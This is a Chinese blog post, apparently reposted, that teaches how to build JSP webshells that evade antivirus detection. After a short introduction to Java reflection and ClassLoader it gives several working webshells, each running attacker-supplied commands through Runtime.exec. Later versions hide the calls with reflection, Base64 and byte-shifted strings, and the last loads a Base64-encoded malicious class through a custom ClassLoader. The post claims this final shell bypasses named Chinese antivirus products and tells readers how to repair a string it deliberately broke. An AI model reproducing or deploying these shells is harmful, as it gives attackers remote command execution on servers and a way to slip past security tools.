• JSP免杀马


    目录

    JSP免杀马

    Java反射

    概念

    实例

    ClassLoader加载机制

    JSP免杀马

    总结

             @更多黑客渗透技能!欢迎关注扫码


    JSP免杀马

    随着Java框架的进化和程序员的内卷,使用PHP编写的系统越来少,使用Java编写的系统越来越多。JSP马的使用越来越多,但是就目前来看,各大厂商对JSP马的查杀效果还是不尽人意。这里简单通过Java的反射机制和ClassLoader技术尝试绕过杀毒软件。

    先介绍这几个常见的Java概念。

    Java反射

    概念

    Java的反射(reflection)机制是指在程序的运行状态中,可以构造任意一个类的对象,可以了解任意一个对象所属的类,可以了解任意一个类的成员变量和方法,可以调用任意一个对象的属性和方法。这种动态获取程序信息以及动态调用对象的功能称为Java语言的反射机制。反射被视为动态语言的关键。——《JAVA反射机制》百度百科

    要想了解Java反射,首先要了解到.java文件是无法直接执行的,需要将其编译成.class字节码文件,然后借助借助Java虚拟机也就是jvm进行执行。

    通过Java语言中的反射机制可以直接操作字节码文件。

    要操作一个类的字节码,需要首先获取,有以下三种方式获取java.lang.Class实例:

    1. //1
    2. Class.forName(“完整类名带包名”)
    3. //2
    4. 对象.getClass()
    5. //3
    6. 任何类型.class

    这三种获取方式没有使用上的区别。

    下面我们通过一个实例来使用一下Java的反射机制。

    实例

    创建Reflect类:

    1. public class Reflect {
    2. private static Reflect reflect = new Reflect();
    3. public Reflect() {
    4. }
    5. public static Reflect getReflect() {
    6. return reflect;
    7. }
    8. public void print(int a, int b) {
    9. System.out.println(a + b);
    10. }
    11. }

    利用反射的方式调用函数:

    1. import java.lang.reflect.Method;
    2. public class testClass {
    3. public static void main(String[] args) throws Throwable {
    4. //正常方式
    5. Reflect reflect = new Reflect();
    6. reflect.print(1, 2);
    7. //部分反射
    8. //通过运行时的对象调用getClass();
    9. Class<?> aClass = Class.forName("reflection.Reflect");
    10. //getMethod(方法名,参数类型)
    11. //getMethod第一个参数是方法名,第二个参数是该方法的参数类型
    12. //因为存在同方法名不同参数这种情况
    13. //所以只有同时指定方法名和参数类型才能唯一确定一个方法
    14. Method method = aClass.getMethod("print", int.class, int.class);
    15. //相当于reflect.print(1, 2);方法的反射操作是用method对象来进行方法调用
    16. //和reflect.print调用的效果完全相同
    17. //使用reflect调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入
    18. method.invoke(reflect, 1, 2);
    19. //全部反射
    20. Class.forName("reflection.Reflect")
    21. .getMethod("print", int.class, int.class)
    22. .invoke(Class.forName("reflection.Reflect")
    23. .getMethod("getReflect")
    24. .invoke(Class.forName("reflection.Reflect")), 1, 2);
    25. //如需获取实例化,也可以使用newInstance()
    26. Object instance = aClass.newInstance();
    27. System.out.println("instance = " + instance);
    28. }
    29. }

    执行结果如下:

    1. 3
    2. 3
    3. 3
    4. instance = reflection.Reflect@28d93b30

    ClassLoader加载机制

    ClassLoader具体作用是将.class文件加载到jvm虚拟机中,程序就可以正确运行了。但是,jvm启动的时候,并不会一次性加载所有的.class文件,而是根据需要去动态加载。

    Java语言自带有三个类加载器:

    • **Bootstrap ClassLoade**为最顶层的加载类,主要加载核心类库,%JRE_HOME%\\lib下的rt.jarresources.jarcharsets.jarclass等。

    • **Extention ClassLoader**为扩展的类加载器,加载目录%JRE_HOME%\\lib\\ext目录下的jar包和class文件。

    • **Appclass Loader**也称为**SystemAppClass**为加载当前应用的classpath的所有类。

    BootstrapClassLoaderExtClassLoaderAppClassLoader是通过查阅相应的环境属性sun.boot.class.pathjava.ext.dirsjava.class.path来加载资源文件。

    类加载器也是Java类,因为Java类的类加载器本身也是要被类加载器加载的,显然必须有第一个类加载器不是Java类,这个正是Bootstrap ClassLoade****,使用C/C++代码写的,已经封装到jvm内核中了,jvm启动时通过Bootstrap类加载器加载rt.jar等核心jar包中的class文件,初始化sun.misc.Launcher并创建Extension ClassLoaderAppClassLoader实例,sun.misc.Launcher是Java虚拟机的入口应用。而ExtClassLoaderAppClassLoaderJava类。

    可以使用以下代码来测试:

    1. public class LoaderClass {
    2. public static void main(String[] args) {
    3. //BootstrapClassLoader加载的jar包
    4. System.out.println(System.getProperty("sun.boot.class.path"));
    5. //ExtClassLoader加载的jar包
    6. System.out.println(System.getProperty("java.ext.dirs"));
    7. //SystemClassLoader(AppClassLoader)加载的内容
    8. //结果为当前java工程目录target/classes,里面存放的是编译生成的class文件
    9. System.out.println(System.getProperty("java.class.path"));
    10. //使用自定义的ClassLoader加载系统类加载器
    11. ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();
    12. System.out.println("systemClassLoader = " + systemClassLoader);
    13. //调用系统类加载器的getParent():获取扩展类加载器
    14. ClassLoader extensionClassLoader = systemClassLoader.getParent();
    15. System.out.println("extensionClassLoader = " + extensionClassLoader);
    16. //调用扩展类加载器的getParent():无法获取引导类加载器
    17. //引导类加载器主要负责加载Java的核心类库,无法加载自定义类
    18. ClassLoader bootstrapClassloader = extensionClassLoader.getParent();
    19. System.out.println("bootstrapClassloader = " + bootstrapClassloader);
    20. //sun.misc.Launcher是java虚拟机的入口应用
    21. }
    22. }

    通过执行可以看到,BootstrapClassLoader加载的主要是jre目录下的jar包或者是class文件;ExtClassLoader加载的是jre\\lib\\ext目录;AppClassLoader加载当前应用的classpath的所有类,核心是加载java工程目录target/classes,里面存放的是编译生成的class文件。

    我们可以自定义类加载器挂载到AppClassLoader上。

    Java加载类时使用类加载器的委托机制,举个例子,假如我们自定义了一个类加载器MyClassLoader,自定定义的MyClassLoader首先会先委托给AppClassLoaderAppClassLoader会委托给ExtClassLoaderExtClassLoader会委托给BootstrapClassLoader,这时候BootstrapClassLoader就去加载,如果加载成功,结束;如果加载失败,就交给ExtClassLoader去加载,如果ExtClassLoader加载成功,结束;如果加载失败就交给AppClassLoader加载,如果加载成功,结束;如果加载失败,就交给自定义的MyClassLoader类加载器加载,如果加载失败,就报ClassNotFoundException异常,结束。

    扯远了,接下来正式通过创建自定义的类加载器来尝试绕过杀软。

    JSP免杀

    在Java中通常使用Runtime.*getRuntime*().exec("")进行命令执行,这里写一个最简单的JSP马:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%
    3. if ("666".equals(request.getParameter("pwd"))) {
    4. java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    5. out.print("
      ");
    6. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    7. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    8. String s = null;
    9. while ((s = stdInput.readLine()) != null) {
    10. out.println(s);
    11. }
    12. out.print("
    ");
  • }
  • %>
  • 但是这个太容易被检测到了,Runtime.*getRuntime*().exec("")明晃晃。

    稍微进化下,尝试使用反射机制:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%
    3. if (request.getParameter("cmd") != null) {
    4. Class rt = Class.forName("java.lang.Runtime");
    5. Process e = (Process) rt.getMethod("exec").invoke(rt.getMethod("getRuntime").invoke(null), request.getParameter("cmd"));
    6. java.io.InputStream in = e.getInputStream();
    7. out.print("
      ");
    8. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    9. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    10. String s = null;
    11. while ((s = stdInput.readLine()) != null) {
    12. out.println(s);
    13. }
    14. out.print("
    ");
  • }
  • %>
  • 这下比之前稍微好了一些,没有直接调用恶意类,可以绕过部分利用类检测的规则。但是部分规则也会利用字段进行监测,我们可以对其中的java.lang.RuntimeexecgetRuntime等进行加密:

    1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    2. <%@ page import="sun.misc.BASE64Decoder" %>
    3. <%
    4. if (request.getParameter("cmd") != null) {
    5. BASE64Decoder decoder = new BASE64Decoder();
    6. byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");
    7. for (int i = 0; i < bytes.length; i++) {
    8. bytes[i] = (byte) (bytes[i] + 1);
    9. }
    10. Class rt = Class.forName(new String(bytes));
    11. Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null), request.getParameter("cmd"));
    12. java.io.InputStream in = e.getInputStream();
    13. out.print("
      ");
    14. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    15. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    16. String s = null;
    17. while ((s = stdInput.readLine()) != null) {
    18. out.println(s);
    19. }
    20. out.print("
    ");
  • }
  • %>
  • 我们通过删减的方式测试,发现只要有invoke函数就会报可疑文件。目前大多数的杀软已经对反射进行查杀。

    我们通过ClassLoader来试一下。

    先使用mian加载的方式尝试进行命令执行,写一个恶意类:

    1. import java.io.IOException;
    2. public class calc {
    3. public calc() {
    4. }
    5. public String toString() {
    6. try {
    7. Runtime.getRuntime().exec("calc.exe");
    8. } catch (IOException var2) {
    9. var2.printStackTrace();
    10. }
    11. return "OK";
    12. }
    13. }

    将上述恶意类进行Base64加密并写入,使用自定义的类加载器MyLoader进行加载,main执行:

    1. import sun.misc.BASE64Decoder;
    2. public class Loader {
    3. public static class MyLoader extends ClassLoader {
    4. public Class get(byte[] b) {
    5. return super.defineClass(null, b, 0, b.length);
    6. }
    7. }
    8. public static void main(String[] args) throws Exception {
    9. String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABJMb3JnL2V4YW1wbGUvY2FsYzsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHACMMACQAJQEACGNhbGMuZXhlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoAAsBAAJPSwEAEG9yZy9leGFtcGxlL2NhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAAAQARABIAAQAMAAAAbQACAAIAAAAUuAACEgO2AARXpwAITCu2AAYSB7AAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAEQALAA4AAAAWAAIADQAEABMAFAABAAAAFAAPABAAAAAVAAAABwACTAcAFgQAAQAXAAAAAgAY"; // class的base64编码
    10. BASE64Decoder code = new sun.misc.BASE64Decoder();
    11. System.out.println("code = " + code);
    12. Class result = new MyLoader().get(code.decodeBuffer(classStr));
    13. System.out.println(result.newInstance().toString());
    14. }
    15. }

    成功执行。开始写JSP马。

    先写一个恶意类:

    1. package pass.loader;
    2. import java.io.BufferedReader;
    3. import java.io.IOException;
    4. import java.io.InputStreamReader;
    5. public class EvalClass {
    6. public String command;
    7. public EvalClass(String command) throws IOException {
    8. StringBuilder stringBuilder = new StringBuilder();
    9. Process process = Runtime.getRuntime().exec(command);
    10. BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    11. String print;
    12. while ((print = bufferedReader.readLine()) != null) {
    13. stringBuilder.append(print).append("\\n");
    14. }
    15. this.command = stringBuilder.toString();
    16. }
    17. @Override
    18. public String toString() {
    19. return this.command;
    20. }
    21. }

    将上述恶意类进行Base64加密并写入,自定义的类加载器classLoader,最终的JSP马如下:

    1. <%@ page import="sun.misc.BASE64Decoder" %>
    2. <%@ page import="java.io.IOException" %>
    3. <%@ page import="java.lang.reflect.Constructor" %>
    4. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    5. <%
    6. if ("666".equals(request.getParameter("pwd"))) {
    7. String cmd = request.getParameter("cmd");
    8. ClassLoader classLoader = new ClassLoader() {
    9. @Override
    10. protected Class<?> findClass(String name) throws ClassNotFoundException {
    11. try {
    12. BASE64Decoder decoder = new BASE64Decoder();
    13. byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");
    14. return defineClass(name, bytes, 0, bytes.length);
    15. } catch (IOException e) {
    16. e.printStackTrace();
    17. }
    18. return super.findClass(name);
    19. }
    20. @Override
    21. public Class<?> loadClass(String name) throws ClassNotFoundException {
    22. if (name.contains("EvalClass")) {
    23. out.print(obj.toString());
    24. return findClass(name);
    25. } else {
    26. return super.loadClass(name);
    27. }
    28. }
    29. };
    30. Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");
    31. Constructor cos = evalClass.getConstructor(String.class);
    32. Object obj = cos.newInstance(cmd);
    33. out.print("
      ");
    34. out.print(obj.toString());
    35. out.print("
    ");
  • }
  • %>
  • 当前(2022年12月22日)可免杀火绒、360、D盾等。

    使用ClassLoader方式构造JSP马难查杀的关键在于,恶意类完全隔离,上面的文件内容没有进行加密,加密后更加难以监测,如果要查杀,只能针对所有自构造的ClassLoader进行查杀,很多框架都使用了ClassLoader技术,不太能所有都监测和查杀。

    总结

    针对PHP马可通过监测核心的eval函数进行查杀,但是JSP马的查杀目前还没有很好的监测办法,除上述的利用ClassLoader进行免杀外,还可通过创建Runtime的父类等方式。

    笔者水平有限,欢迎大家指出问题。

    `m   9`竟然是敏感词,我把文中的换成了@@@,大家自行替换即可。

    原文地址:https://www.freebuf.com/articles/web/355975.html

             @更多黑客渗透技能!欢迎关注扫码

  • 相关阅读:
    海豚调度系列之:任务类型——SQL节点
    阿里P8大佬,耗时72小时整理的Docker实战笔记,你值得拥有
    Python怎么打包和安装自定义的模块?
    Spring Boot集成支付宝电脑网站支付功能
    ASM对匿名内部类、Lambda及方法引用的Hook研究
    【Hack The Box】windows练习-- Resolute
    计算机视觉实战项目3(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
    VS Code调试使用标准输入功能的go程序的问题
    猿创征文|GaussDB(for openGauss):基于 GaussDB 迁移、智能管理构建应用解决方案
    副业教程之如何通过出售API赚取美元含数据集和训练教程
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/133942913